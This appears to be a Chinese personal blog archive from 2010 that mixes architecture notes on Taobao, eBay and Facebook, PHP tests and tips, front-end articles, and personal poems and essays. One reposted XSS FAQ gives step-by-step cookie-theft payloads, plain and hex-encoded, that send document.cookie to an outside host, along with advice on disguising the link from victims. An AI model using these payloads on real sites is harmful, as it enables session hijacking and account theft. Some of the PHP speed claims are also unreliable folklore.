2010年3月30日星期二

来自淘宝的架构经验

作者: Fenng
网址:

淘宝网架构师黄裳带来的技术分享,在最后他总计了淘宝这几年来的架构经验:




  • 1、适当放弃一致性

  • 2、备份和隔离解决稳定性问题

  • 3、分割和异步解决性能问题(类似 eBay 的 Asynchrony Everywhere)

  • 4、自动化降低人力成本(类似 eBay 的 Automate Everything)

  • 5、产品化管理



在这里不妨对比一下 eBay 的架构经验:




  • 1、 Partition Everything

  • 2、 Asynchrony Everywhere

  • 3、 Automate Everything

  • 4、 Remember Everything Fails

  • 5、 Embrace Inconsistency

  • 6、 Expect (R)evolution

  • 7、 Dependencies Matter

  • 8、 Be Authoritative

  • 9、 Never Enough Data

  • 10、Custom Infrastructure



关于一致性,可以延伸阅读 Amazon CTO 的大作 Eventually Consistent。此外,强调了"放弃集中的紧耦合处理"的原则。"备份"这里可以理解为"提供可用的副本"。"分割"是说水平拆分。



架构这东西说起来大致原则,其实都是类似的,但是具体如何在一些通用原则上做到运用自如,是很难的事情。前几天我还感慨,很多架构师对与"异步"与"批量处理"所能带来的益处的理解仍然相去甚远。

Facebook 海量数据处理

作者:Fenng
网址:

好几个地方看到这个 Facebook - Needle in a Haystack: Efficient Storage of Billions of Photos,是 Facebook 的 Jason Sobel 做的一个 PPT,揭示了不少比较有参考价值的信息。

图片规模

作为世界上最大的 SNS 站点之一,Facebook 图片有多少? 65 亿张原始图片,每张图片存为 4-5 个不同尺寸,这样总计图片文件有 300 亿左右,总容量 540T,天! 峰值的时候每秒钟请求 47.5 万个图片 (当然多数通过 CDN) ,每周上传 1 亿张图片。



图片存储

前一段时间说 Facebook 服务器超过 10000 台,现在打开不止了吧,Facebook 融到的大把银子都用来买硬件了。图片是存储在 Netapp NAS上的,采用 NFS 方式。



图片写入

Facebook_write.png



尽管这么大的量,似乎图片写入并不是问题。如上图,是直接通过 NFS 写的。



图片读取

Facebook.png



CDN 和 Cachr 承担了大部分访问压力。尽管 Netapp 设备不便宜,但基本上不承担多大的访问压力,否则吃不消。CDN 针对 Profile 图象的命中率有 99.8%,普通图片也有 92% 的命中率。命中丢失的部分采由 Netapp 承担。



图中的 Cachr 这个组件,应该是用来消息通知(基于调整过的 evhttp的嘛),Memcached 作为后端存储。Web 图片服务器是 Lighttpd,用于 FHC (文件处理 Cache),后端也是 Memcached。Facebook 的 Memcached 服务器数量差不多世界上最大了,人家连 MYSQL 服务器还有两千台呢。



Haystacks --大海捞针

这么大的数据量如何进行索引? 如何快速定位文件? 这是通过 Haystacks 来做到的。Haystacks 是用户层抽象机制,简单的说就是把图片元数据的进行有效的存储管理。传统的方式可能是通过 DB 来做,Facebook 是通过文件系统来完成的。通过 GET / POST 进行读/写操作,应该说,这倒也是个比较有趣的思路,如果感兴趣的话,看一下 GET / POST 请求的方法或许能给我们点启发。



Facebook2.png



总体来看,Facebook 的图片处理还是采用成本偏高的方法来做的。技术含量貌似并不大。不清楚是否对图片作 Tweak,比如不影响图片质量的情况下减小图片尺寸。

Facebook 的 PHP 性能与扩展性

作者: Fenng
网址:

炙手可热的 Facebook 是用 PHP 开发的。随着一些技术交流,逐渐能看到 Facebook 技术人员分享的经验。近期这个 geekSessions 站点上看到 Facebook 的 Lucas Nealan 分享的文档比较有参考价值。



Cache 为 王

任何一个成功的站点都有一套最合适自己的 Cache 策略。


Facebook_Cache_Level.png

Note:这个层次图画的稍微有点问题,不是严格从上到下的。



The Alternative PHP Cache , APC

Facebook 平均每个用户每天要访问超过 50 个页面,PHP的页面载入时间的优化就比较重要了。在 PHP Cache 层,Facebook 采用了 APC



Lucas Nealan 的 PPT 举了一个例子,一个页面显示的时间从 4000 多毫秒降到了 100 多 毫秒。在 apc.stat 关闭的模式下,性能还要更好一些。不过需要重启动或用apc_cache_clear() 来通知更新。



PHP_APC.png



Memcached 层

APC Cache 的是非用户相关的信息,而用户相关的数据 Cache 当然是在 Memcached 中。



Facebook 部署了超过 400 台 Memcached 服务器,超过 5TB 的数据在 Memcached 中。这是当前世界上最大的 Memcached 集群了。也给 Memcached 贡献了不少代码,包括 UDP 的支持和性能上的提升(性能提升超过 20%)。



程序 Profiling

Facebook 开发人员大量采用 Callgrind 、APD、 xdebug 、KCachegrind 等工具进行基准性能测试。任何一个 Web 项目,这也是不可或缺,也是比较容易忽略的一环。所有开发人员都应该具备熟练使用这些工具的能力才好。



补充一下:语言的选择

为什么 Facebook 选择 PHP 而不是其他语言? 用Flickr 的 Cal Henderson 这句话就能说明了: "Languages's don't Scale, Architecture Scale"。



从 80-20 的原则看,APC 和 Memcached 是最主要的。在这两个环节上下功夫,受益/开销比要大于另外几个环节。



(上面的图是从 Lucas Nealan 的文档截的,版权所有是他的)

2010年3月29日星期一

PER交流会

昨天去了这个城市的PER交流会,我是带着学习的心态去参加这个交流会的~,但结果是不令人满意的。

或许是没定义一个主题,以至于大半时间都是那些所谓的“资格”人物在泛泛而谈,或是任职于知名企业的在“侃侃而谈”,请原谅这里我这种看来嫉妒的酸葡萄心理。只是真的,我不知道那些所谓对于那些抱着诚心来学习的人,尤其是刚入门的人来说有什么作用?提及的所说的公司招人一定要本科毕业,不是211工程,也是要本科一批云云之类的话语,对于那些半路“出家”进入这个行业的小孩子们而言有什么用,当然,如果他们的心理够强壮,够自信的话,这些话语也只是耳边风而已。或许只是因为个人认为,计算机行业,是不同于其他的任何行业,本科生也好,还是研究生,博士生也罢,如果你的动手能力还不如一个小学毕业的人。那样的空有成绩纸上谈兵的又有何用?

甚是搞笑的是,如果你不是出自于他们眼中的“知名企业”,或是不是他们眼中的“知名人物”,那到场的其他人都是很菜的!呵~,这定义的交流会,怎么感觉有了“嫌贫爱富”的趋向了呢?也许正如那句“林子大了,什么鸟也都就有了吧~”;人多了,也就各种价值观都出现了吧~!

2010年3月25日星期四

跨站脚本攻击(XSS)

FROM: http://tech.idv2.com/2006/08/30/xss-faq/
AUTHOR: charlee

简介

现在的网站包含大量的动态内容以提高用户体验, 比过去要复杂得多. 所谓动态内容, 就是根据用户环境和需要, Web应用程序能够输出相应的内容. 动态站点会受到一种名为"跨站脚本攻击" (Cross Site Scripting, 安全专家们通常将其所写成 XSS) 的威胁, 而静态站点则完全不受其影响.

什么是跨站脚本攻击

跨站脚本攻击 (也称为XSS) 指利用网站漏洞从用户那里恶意盗取信息. 用户在浏览网站、使用即时通讯软件、甚至在阅读电子邮件时, 通常会点击其中的链接. 攻击者通过在链接中插入恶意代码, 就能够盗取用户信息. 攻击者通常会用十六进制 (或其他编码方式) 将链接编码, 以免用户怀疑它的合法性. 网站在接收到包含恶意代码的请求之后会产成一个包含恶意代码的页面, 而这个页面看起来就像是那个网站应当生成的合法页面一样. 许多流行的留言本和论坛程序允许用户发表包含HTML和javascript的帖子. 假设用户甲发表了一篇包含恶意脚本的帖子, 那么用户乙在浏览这篇帖子时, 恶意脚本就会执行, 盗取用户乙的session信息. 有关攻击方法的详细情况将在下面阐述.

XSS和CSS是什么意思

人们经常将跨站脚本攻击(Cross Site Scripting)缩写为CSS, 但这会与层叠样式表(Cascading Style Sheets, CSS)的缩写混淆. 因此有人将跨站脚本攻击缩写为XSS. 如果你听到有人说 "我发现了一个XSS漏洞", 显然他是在说跨站脚本攻击.

跨站脚本攻击有什么危害

为了搜集用户信息, 攻击者通常会在有漏洞的程序中插入 JavaScript、VBScript、 ActiveX或Flash以欺骗用户 (详见下文) . 一旦得手, 他们可以盗取用户帐户, 修改用户设置, 盗取/污染cookie, 做虚假广告等. 每天都有大量的XSS攻击的恶意代码出现. Brett Moore的下面这篇文章详细地阐述了"拒绝服务攻击"以及用户仅仅阅读一篇文章就会受到的"自动攻击".

http://archives.neohapsis.com/archives/vuln-dev/2002-q1/0311.html

能否给出几个跨站脚本攻击的例子

著名的PHPnuke程序有很多XSS漏洞. 由于该程序十分流行, 因此经常被黑客们作为XSS的攻击对象进行检查. 下面给出了几个已公开报告的攻击方法.


能否解释一下XSS cookie盗窃是什么意思

根据作为攻击对象的Web程序, 下面某些变量和插入位置可能需要进行调整. 要注意这只是攻击方法的一个例子. 在这个例子中, 我们将利用脚本"a.php"中的 "viriable"变量中的跨站脚本漏洞, 通过正常请求进行攻击. 这是跨站脚本攻击最常见的形式.

A 锁定目标
当你找到某个Web程序存在XSS漏洞之后, 检查一下它是否设置了cookie. 如果在该网站的任何地方设置了cookie, 那么就可以从用户那里盗取它.

B 测试
不同的攻击方式将产生不同的XSS漏洞, 所以应适当进行测试以使得输出结果看起来像是正常的. 某些恶意脚本插入之后会破坏输出的页面. (为欺骗用户, 输出结果非常重要, 因此攻击者有必要调整攻击代码使输出看起来正常. )

下一步你需要在链接至包含XSS漏洞的页面的URL中插入 Javascript (或其他客户端脚本) . 下面列出了一些经常用于测试XSS漏洞的链接. 当用户点击这些链接时, 用户的 cookie 奖被发送到 www.cgisecurity.com/cgi-bin/cookie.cgi 并被显示. 如果你看到显示结果中包含了cookie信息, 说明可能可以劫持该用户的账户.

盗取Cookie的Javascript示例. 使用方法如下:
ASCII用法
[js]
http://host/a.php?variable="><script>document.location='http://www.cgisecurity.com/cgi-bin/cookie.cgi? '%20+document.cookie</script>
[/js]

十六进制用法
[js]
http://host/a.php?variable=%22%3e%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f
%63%61%74%69%6f%6e%3d%27%68%74%74%70%3a%2f%2f%77%77%77%2e%63%67
%69%73%65%63%75%72%69%74%79 %2e%63%6f%6d%2f%63%67%69%2d%62%69%6e%2f%63%6f
%6f%6b%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63% 75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3c%2f%73%63%72%69%70%74%3e
[/js]

注意: 每种用法都先写为 ASCII, 再写成十六进制以便复制粘贴.
[js]
//1
><script>document.location='http://www.cgisecurity.com/cgi-bin/cookie.cgi?' +document.cookie</script>

HEX %22%3e%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e
%6c%6f%63%61%74%69%6f%6e%3d%27 %68%74%74%70%3a%2f%2f%77%77%77%2e%63%67%69%73%65
%63%75%72%69%74%79%2e%63%6f%6d%2f%63%67%69 %2d%62%69%6e%2f
%63%6f%6f%6b%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63%75%6d%65%6e%74%2e%63%6f %6f%6b%69%65%3c%2f%73%63%72%69%70%74%3e

//2
<script>document.location='http://www.cgisecurity.com/cgi-bin/cookie.cgi?' +document.cookie</script>

HEX %3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f
%63%61%74%69%6f%6e%3d%27%68%74%74 %70%3a%2f%2f%77%77%77%2e%63%67%69%73%65%63%75%72
%69%74%79%2e%63%6f%6d%2f%63%67%69%2d%62%69%6e %2f%63%6f%6f%6b
%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3c %2f%73%63%72%69%70%74%3e

//3
><script>document.location='http://www.cgisecurity.com/cgi-bin/cookie.cgi?' +document.cookie</script>

HEX %3e%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c
%6f%63%61%74%69%6f%6e%3d%27%68%74 %74%70%3a%2f%2f%77%77%77%2e%63%67%69%73%65%63%75
%72%69%74%79%2e%63%6f%6d%2f%63%67%69%2d%62%69 %6e%2f%63%6f%6f
%6b%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65 %3c%2f%73%63%72%69%70%74%3e
[/js]

C 执行XSS
将做好的URL通过电子邮件或其他方式发送出去. 注意如果你直接将URL发送给其他人 (通过电子邮件、即时通讯软件或其他方式) , 你应当将其进行十六进制编码, 因为这些URL一眼便可看出包含恶意代码, 但经过十六进制编码之后就可以欺骗大部分人.

D 处理收集到的信息
一旦用户点击了你的URL, 相应数据就会被发送到你的CGI脚本中. 这样你就获得了 cookie信息, 然后你可以利用Websleuth之类的工具来检查是否能盗取那个账户.

在上面的例子中, 我们仅仅将用户带到了 cookie.cgi页面上. 如果你有时间, 你可以在CGI中将用户重定向到原来的页面上, 即可在用户不知不觉之中盗取信息.

某些电子邮件程序在打开附件时会自动执行附件中的Javascript代码. 即使像Hotmail这样的大型网站也是如此, 不过它对附件内容作了许多过滤以避免cookie被盗.

作为网站管理者应当如何防范

这个问题很简单. 坚决不要相信任何用户输入并过滤所有特殊字符. 这样既可消灭绝大部分的XSS攻击. 另一个建议是输出页面时将 < 和 > 变换成 < 和 >. 要记住, XSS漏洞极具破坏性, 一旦被利用, 它会给你的事业带来极大的损害. 攻击者会将这些漏洞公之于众, 这会在用户隐私的问题上大大降低你的网站的用户信赖度. 当然, 仅仅将 ( 和 ) 变换成 < 和 > 是不够的, 最好将 ( 和 ) 变换成 ( 和 ), # 和 & 变换成 # 和 &. [即全都变为HTML 符号]

作为用户应当如何防范

保护自己的最好方法就是仅点击你想访问的那个网站上的链接. 例如, 如果你访问了一个网站, 该网站有一个链接指向了 CNN, 那么不要单击该链接, 而是访问 CNN 的主站点并使用搜索引擎查找相关内容. 这样可以杜绝90%以上的XSS攻击. 有时候XSS会在你打开电子邮件、打开附件、阅读留言板、阅读论坛时自动进行. 当你打开电子邮件或是在公共论坛上阅读你不认识的人的帖子时一定要注意. 最好的解决办法就是关闭浏览器的 Javascript 功能. 在IE中可以将安全级别设置为最高, 可以防止cookie被盗.

XSS漏洞有多常见

由于XSS漏洞很容易在大型网站中发现, 在黑客圈内它非常流行. FBI.gov、CNN.com、Time.com、Ebay、 Yahoo、Apple、Microsoft、Zdnet、Wired、Newsbytes都有这样那样的XSS漏洞.

在商业产品中, 平均每个月能够发现10-25个XSS漏洞.

加密能否防止XSS攻击

使用SSL(https)加密的网站并不比不加密的网站好到哪儿去. Web程序仍然以同样的方式工作, 只是攻击是通过加密的连接实现. 有些人看到浏览器上的锁图标就认为他们是安全的, 其实不然.

XSS漏洞能否在服务器上执行命令

XSS漏洞会导致Javascript的恶意插入, 但它的执行受到很多限制. 如果攻击者利用浏览器的漏洞, 有可能在用户的计算机上执行命令. 因此, 就算能够执行命令也只能在客户端. 简单地说, XSS漏洞可以触发客户端的其他漏洞.

如果我不修改CSS/XSS漏洞会怎样

如果不修改XSS漏洞, 你的网站上的用户会受到被篡改的威胁. 许多大型网站都发现了XSS漏洞, 这个问题已经得到普遍认识. 如果不修改, 发现它的人也许会警告你的公司, 损害公司的信誉. 你拒绝修改漏洞的消息也会传到客户那里, 造成公司的信任危机. 客户不信任的话还怎么做生意

介绍一些更深入讲解XSS的地方:

2010年3月23日星期二

值对象,HTTP_REFERER

项目更改需求,本将要进入尾声的工作又得重新开始。心里的怨闷不能说是没有的,但是有也只能面对接受。只愿这次更改好大体能确定下来,不要再白费时间。

想起前不久看过的PHP模式一书,对于里面说到的值对象模式,愈想,疑惑更浓。动手写了个例题,却让疑问更上一层楼。理论上,PHP5中,通过new进行对象资源的赋值传递的是对象资源的指针,如PHP4中指针传递一样。


[php]
class a {
var $b;
public function __construct() {
$this->b = 1;
}

function setb($b) {
$this->b = $b;
}
}

$test1 = new a;
$test2 = new a;
$test1->setb(2);
echo $test1->b;
echo $test2->b;
[/php]
按上面的理解应该是,$test1, $test2指向同一个地址,不管其中的那个值改变,都会影响到另外一个变量。但是,结果却是:
[code lang="text"]
2
1
[/code]
不知道这个问题该做何解?
又想到大概2个月前,项目中出现的问题,$_SERVER['HTTP_REFERER']在IE6下取不到对应的值。当时,跑遍了国内外网站,得到的结论是:这是PHP在IE6下的bug,因为当时时间仓促,自己也就没去做测试。因为上面的问题,于是,也就写了一个测试案例在IE6下做测试,结果却是:能取得到值。
又Google了下,看到了2月前的看过的文章,但也有个新的收获,一般情况下,为了保证链接的安全性,这个值都是不提倡使用的。

用PHP,HTML, JS实现跳转,$_SERVER['HTTP_REFERER'],测试的结果如下:
[code lang="js"]
//JS:
window.location = "http://www.*****.com/";
[/code]
FF下有值,IE下无值
[html]
//Meta Refresh:
<meta http-equiv="refresh" content="5;url=http://www.*****.com"/>
[/html]
FF, IE6下均无值
[php]
//HTTP 302 Header Redirect in PHP
header('Location: http://www.*****.com', true, 302);
exit;
[/php]
FF, IE6下均无值

另外,查到的资料如是说:若启用了HTTPS,不管那种情况都是取不到HTTP_REFERER值。因为无测试环境,这个就无从得知了~

2010年3月19日星期五

刚好

刚好来了,刚好又走了;刚好得到了,刚好又失去了;刚好长大了,刚好又想回到小时候了;刚好毕业了,刚好又失业了;刚好爱上了,刚好又受伤了。他们给我说,生命中哪有这么多刚好。可是,可是我刚好要暂时离开了,你还会记得我么.....





习惯
抬头四十五度
仰望天际


我想你的时候
你会不会刚好
正在想我


我们都要
尽量靠近光亮
让心情温暖


一辈子做对
与做错的事
会不会刚好一样多


我不停的举手发问
却没有人
告诉我答案


拥抱一只猫
莫名涌现
幸福美满的感动


然而突然暴怒狂抓
常常殃及无辜
我真的不是故意的


世界虽然繁华美丽
对我而言
却常是朦胧不真实


纵使受尽委屈
我也要努力
保持风度吗?


我比你勇敢吗?
还是刚好你比我懦弱
我们早知道不适合当强人


伤心难过时
朋友怎么都刚好
消失无影


找到一个爱我
与我爱的人
变成梦里的情节


卧倒雪地
三天三夜
可能刚好都没有人会发现


看不见的世界
或许才是真实的
还是,也不是真实的


自导自演
一出悲怜的故事
我到底想得到什么?


现出邪恶的原形
过分压抑
对谁都不好


流浪去吧
总会在世界的一角
找到愿意懂你的人


你快乐时
我刚好感到哀愁
人生不都是如此吗

2010年3月16日星期二

有一种女孩

有一种女孩,其实并不难看,或许有的还有点小漂亮,有的可能有点小才气,或者有的性格也比较可人,却大学快毕业了,也从未有过感情经历。总是被一些人认为,即使没有阅人无数,也至少曾经沧海了。

有一种女孩,有很多朋友,也可能不乏异性哥们儿,有的可以一起谈人生论天下 思想交流无极限,有的可以一起结搭档做生意 生活问题伸援手,却始终茕茕孑立找不到那个可以执子之手的人。总是坚强乐观,却在转过身后独自舔舐着内心的空旷;总是开朗嘻哈喜欢热闹,却总是在热闹里失落找不到自己,然后寻觅一个小角落,回到那个安静的自己。

有一种女孩,就这样,在年复一年日复一日中,剩下来了……

这样的女孩,也许很懂事是孝顺父母的女儿,也许一路成绩优秀是他人眼中的乖乖女,也许善解人意是朋友心中的一抹温暖,却其实天生没有安全感,总是害怕着什么。

现代社会,不期待爱情的女孩通常没有;现代社会,对现实因素没有考虑的女孩,也通常没有。总可以听到这样的谆谆告诫,女孩子最重要的是嫁人,是现实。一起久了,感情就有了,孩子有了,感情就牢了,关键是要有物质基础。可是,真是这样吗?!那爱情,究竟是什么呢 如果说是一种感觉,是不是也很飘渺啊?你又怎么知道那个你为之心动的人也为你心动呢?

这样的女孩,甚至有的给人大大咧咧的印象或者干练的女性形象,喜欢和异性朋友以兄弟相称,其实是为了保障自己只当做朋友的人不要再往前走,以免大家尴尬,能够友谊长存。这样的女孩,可以和大多人成为朋友,却对心中那一个位置,紧紧看守,谨小慎微。有的人费尽心力却走不进半步,有的人不太经意却已生根发芽。

这样的女孩,如果有喜欢的人,也多半是默默地暗恋,静静的祝福。自我的束缚限制,内心的保守被动使得她们只能等待,等待一个没有期限的结局。害怕主动接近示好被看低,连尊严都丢掉;害怕彼此最终成牵绊,连朋友都没得做…

这样的女孩和兄弟可以捧逗自如自然相对甚至不拘小节,但面对自己在意的人,却退避三尺不知所措甚至遥相观望。很多人,很多时候 错过了。女孩,却依然无能为力。这样的女孩,也想过接受某个人,明明他很好却始终找不到安全感,换不掉那个在心底隐隐的人。

这样的女孩,也有的太习惯了单独的生活,有时憧憬两个人的路却始终没有走进心里的那个人。觉得有点疑惑,假如两个人在一起,该怎么过呢该干什么呢?彼此习惯也许会有很多问题呢?

于是,于是,这样的女孩总是给自己太多的顾虑,太复杂的限制,只好剩下了。

这样的女孩,再过几年就二十五六了,如果没有做到很高的层次,在各种压力的作用下,就该开始寻觅着嫁人了。可是,还没有恋爱过呀?难道真的相亲,为人妻,为人母,就这样一辈子?这让她们害怕。

这样的女孩,曾经一直相信天长地久,却被太多次的告知,如果想找寻纯净的爱,还是抱着曾经拥有的态度吧!这样的女孩,如果有喜欢的人一定希望可以在一起哪怕不可能,却被太多次的告知,女人要找一个爱你的人而不是你爱的人。

这样的女孩,在80后的剩女中,占据着一席的地位,尴尬着有些落寞茫然

这样的女孩,在80后的人群中,无论求学还是工作,知道自己任重而道远,要独自去努力

这样的女孩,在80后的人潮中,终会被拍上堤岸,但愿到时不要离幸福太远

PS:
一大早朋友分享给我的文章。她说,看到前面就想起了我,看到后面是感觉愈来愈像我~。开玩笑说,还以为这是我写的。

2010年3月15日星期一

2010年3月12日星期五

Closure Tools:Google的javascript库

FROM: Google的javascript库

Google 开发了那么多 web application, 由于 web 浏览器和 web 标准的差异性, 势必需要一套库来解放 Google 的这些程序天才, 让他们从无聊的底层代码解脱出来, 关注算法, 关注应用程序逻辑.

之前, Google 说也在用 YUI 和 ext js 等 Javascript 库, 但去看看它的程序代码就会疑惑, 几乎没有任何痕迹显示在用这些库. 当然, Google 也有一套工具:GWT. 用java代码来编写 web applicationi, 完全无视浏览器的存在, 但是显而易见的就是, 既然代码全是java代码转换而来, 肯定少不了也写包裹性质的代码, 性能必然有不小的折扣, 而且随着应用的扩大, 这个折扣也是直线上升的, 更重要的是, 数据被藏了起来, 我想任何希望自己数据被搜索引擎索引的开发者, 都是不能接受的. 所以, 除了做企业应用的开发商, 不会有多少人感兴趣. 至今, 我只看到 Google profile 在用GWT. 种种迹象表明, Google 内部一定有套大而全的 Javascript 库.

今天, Google 说出了这个秘密:Closure Tools. 由三个部分组成, 其中的 Closure Library 从概念上来说, 是一个和 YUI 和 ext js 可比较的, 大而全的 Javascript 库. 谷歌做了个比喻, 说这个库类似于 c++ 的 STL, 由于它还有 UI 的 widget, 我想至少还要加上类似微软 MFC/WTL 的作用. 可见这个库在 Google 内部是非常重要, 和被广泛采用的. 它的功能非常广泛, 整个的结构是按需消费的, 除了 base.js 以外, 其它组件都是可选, 具体的组件列表 在这里, 一些 demo 在这里. 使用上第一感觉就是, 非常的踏实, 该有的都有, 使用虽然不像 jQuery 那样精炼, 但也非常合理和简洁. 比 jQuery 好的就是不要去满地儿找插件, 我的预测是 YUI 将进一步边缘化, ext js 很难会有新用户了. 而 jQuery 由于其 lightweight 的特点, 应该能和 Closure Library 并存.

Colsure Tools 的其它两个部件分别是一个 Javascript 的优化器:Closure Compiler, 和一个 Javascript 的Template系统:Closure Templates. 这个 Javascript 的优化器不是简单的javascipt minimal的工具, 它会深入分析你的 Javascript 代码, 从而产生更精炼, 效率更高的代码. 比如如果有个变量没用到, 优化器会删掉它.

另一个是一个 Javascript 的 Template 系统, 我觉得更像是一个DSL(Domain-specific language). 它的目的是把数据表示成这个 DSL, 通过它再去生成HTML. 我们知道HTML本身就是表示数据的 DSL, XML 也是, 由于浏览器和 DocType 的差异性, 表示成 HTML 有点不够保险, 但是我们还有 JSON, 对 web 来说, 这可能是最高效的 DSL了, 再造一门 DSL, 有多大的必要性, 值得商榷, 何况这个 Google 的这个 DSL, 特点并不明显.

2010年3月11日星期四

CSS Sprites技术

1 关于CSS Sprite

CSS Sprites技术不新鲜, 早在2004年 CSS Zen Garden 的园主 Dave Shea就在ALA发表对该技术的详细阐述. 原先只在CSS玩家之间作为一种制作方法流传, 后来出来个14 Rules for Faster-Loading Web Sites, 技术人员之间竞相传阅, 其中第一条规则Make Fewer HTTP Requests就提到CSS Sprites. 于是这个就火了起来, 甚至出现了在线生成工具. 近来很多blog都提到CSS Sprites, 最著名的例子莫过于 http://www.google.co.kr/下方的那几个动画. 最新发布的YUI中, 也是使用到CSS Sprites, 几乎都有的CSS装饰图都被一个40×2000的图包办. 社交大站Facebook最近也使用了一个22×1150的图片承担了所有icon. 一时间, CSS Sprites无处不在.

CSS Sprites是一种网页图片应用处理方式. 它允许你将一个页面涉及到的所有零星图片都包含到一张大图中去, 这样一来, 当访问该页面时, 载入的图片就不会像以前那样一幅一幅地慢慢显示出来了. 对于当前网络流行的速度而言, 不高于200KB的单张图片的所需载入时间基本是差不多的, 所以无需顾忌这个问题.

按照yahoo的rules for high performance web sites的原则, 应当较少Client与Server端间的HTTP Request次数. 通过CSS Sprites方法将多张图片组装成单独的一张图片, 可以有效减少HTTP请求 的次数.
当整幅图片载入完成后, 就可以使用CSS方法通过设置背景位置的方式完成所需图片的准确调用.


2 CSS Sprite的使用

有几篇关于CSS Sprites的文章



3 CSS Sprite的例子

[原文:http://blog.rexsong.com/?p=746#comments]
A. 图片限制(Image Slicing)
典型如文本编辑器, 小图标特别多, 打开时一张张跑出来, 给用户的感觉很不好. 如果能用一张图解决, 则不会有这个问题, 比如百度空间、163博客、Gmail都是这么做的.

Image Slicing’s Kiss of Death
http://www.alistapart.com/articles/sprites
B. 单图转滚(Single-image Rollovers)
触发切换图片的需求, 传统方案得重新请求新图片, 因为网络问题经常造成停留或等待. 如果能把多种状态合并成一张图, 就能完美解决, 然后再使用背景图技术模拟动态效果.

ColorScheme Ratings
http://demo.rexsong.com/200608/colorscheme_ratings/
C. 延长背景(Extend Background Image)
如果图片的某边可以背景平铺无限延长, 则不需要每个角、每条边单独搞出来, 图片能少一个就少一个. 其实, 这个理论还可以扩展到四角容器里, 好处是能大大简化HTML Structure.

Extend Background Image
http://demo.rexsong.com/200705/extend_background_image/
D. 综合案例
Google Korea (1和2技巧
http://demo.rexsong.com/200705/google_korea/


E. CSS Menus (2和3技巧)
http://demo.rexsong.com/200705/css_background_menus/



4 CSS Sprites的问题

由于IE6存在的background的flicker问题IE6/Win, background image on <a>, cache=‘check every visit’: flicker!, 有人针对此问题提出了解决方案Fast Rollovers Without Preload
关于IE6的flicker问题, fivesevensix.com上有一篇很不错的研究文章Minimize Flickering CSS Background Images in IE6
另外:brunildo.orgCSS tests and experiments是关于css各种功能不错的参考手册和测试工具.


5 相关资源

2010年3月5日星期五

忧伤还是快乐

时间本就没有逻辑可言
如同无法预知的蝴蝶效应
这百无聊赖的生活
感觉不到时间的吞噬
微抬手
那扎眼的伤疤已经褪去
留下一道凌利的痕
这就是时间
控制不了
抗拒不了
逃避不了
心情好一时 坏也一时
独自安静坐在那儿
怀恋以前怎样怎样的时光 如何如何的刻骨
可又怎么样呢
一拍脑袋 又被打回现实
依然要保持着那份活着的勇气
时间是神圣的
因为它不可驾驭
因而 要铭记
让时间在脑海中停留
被忽视的那段时间里
错过了什么
快乐的忘乎所以 亦或悲伤的不闻世事
不管怎样
不管怎样
时间都是走在前头
跟着它 感叹它
它带走了很多
可是 仍然带不走那些纯粹的情感
那些 才可称之为永恒


在酷狗上看到的《忧伤还是快乐》的歌词,但是,更感觉它叫时间 OR 时光~
一切皆成往事,但时光不会遗忘 ~

2010年3月2日星期二

Optimize PHP code


  • If a method can be static, declare it static. Speed improvement is by a factor of 4.

  • echo is faster than print.

  • Use echo’s multiple parameters instead of string concatenation.

  • Set the maxvalue for your for-loops before and not in the loop.

  • Unset your variables to free memory, especially large arrays.

  • Avoid magic like __get, __set, __autoload

  • require_once() is expensive .

  • Use full paths in includes and requires, less time spent on resolving the OS paths.

  • If you need to find out the time when the script started executing, $_SERVER[’REQUEST_TIME’] is preferred to time()

  • str_replace is faster than preg_replace, but strtr is faster than str_replace by a factor of 4.

  • If the function, such as string replacement function, accepts both arrays and single characters as arguments, and if your argument list is not too long, consider writing a few redundant replacement statements, passing one character at a time, instead of one line of code that accepts arrays as search and replace arguments.

  • It’s better to use select statements than multi if, else if, statements.

  • Error suppression with @ is very slow.

  • Turn on apache’s mod_deflate

  • Close your database connections when you’re done with them.

  • $row[’id’] is 7 times faster than $row[id].

  • Error messages are expensive.

  • Do not use functions inside of for loop, such as for ($x=0; $x < count($array); $x) The count() function gets called each time.

  • Incrementing a local variable in a method is the fastest. Nearly the same as calling a local variable in a function.

  • Incrementing a global variable is 2 times slow than a local var.

  • Incrementing an object property (eg. $this->prop++) is 3 times slower than a local variable.

  • Incrementing an undefined local variable is 9-10 times slower than a pre-initialized one.

  • Just declaring a global variable without using it in a function also slows things down (by about the same amount as incrementing a local var). PHP probably does a check to see if the global exists.

  • Method invocation appears to be independent of the number of methods defined in the class because I added 10 more methods to the test class (before and after the test method) with no change in performance.

  • Methods in derived classes run faster than ones defined in the base class.

  • A function call with one parameter and an empty function body takes about the same time as doing 7-8 $localvar++ operations. A similar method call is of course about 15 $localvar++ operations.

  • Surrounding your string by ' instead of " will make things interpret a little faster since php looks for variables inside "…" but not inside '…'. Of course you can only do this when you don’t need to have variables in the string.

  • When echoing strings it’s faster to separate them by comma instead of dot. Note: This only works with echo, which is a function that can take several strings as arguments.

  • A PHP script will be served at least 2-10 times slower than a static HTML page by Apache. Try to use more static HTML pages and fewer scripts. Apache

  • Your PHP scripts are recompiled every time unless the scripts are cached. Install a PHP caching product to typically increase performance by 25-100% by removing compile times.

  • Cache as much as possible. Use memcached - memcached is a high-performance memory object caching system intended to speed up dynamic web applications by alleviating database load. OP code caches are useful so that your script does not have to be compiled on every request.

  • When working with strings and you need to check that the string is either of a certain length you’d understandably would want to use the strlen() function. This function is pretty quick since it’s operation does not perform any calculation but merely return the already known length of a string available in the zval structure (internal C struct used to store variables in PHP). However because strlen() is a function it is still somewhat slow because the function call requires several operations such as lowercase & hashtable lookup followed by the execution of said function. In some instance you can improve the speed of your code by using an isset() trick.

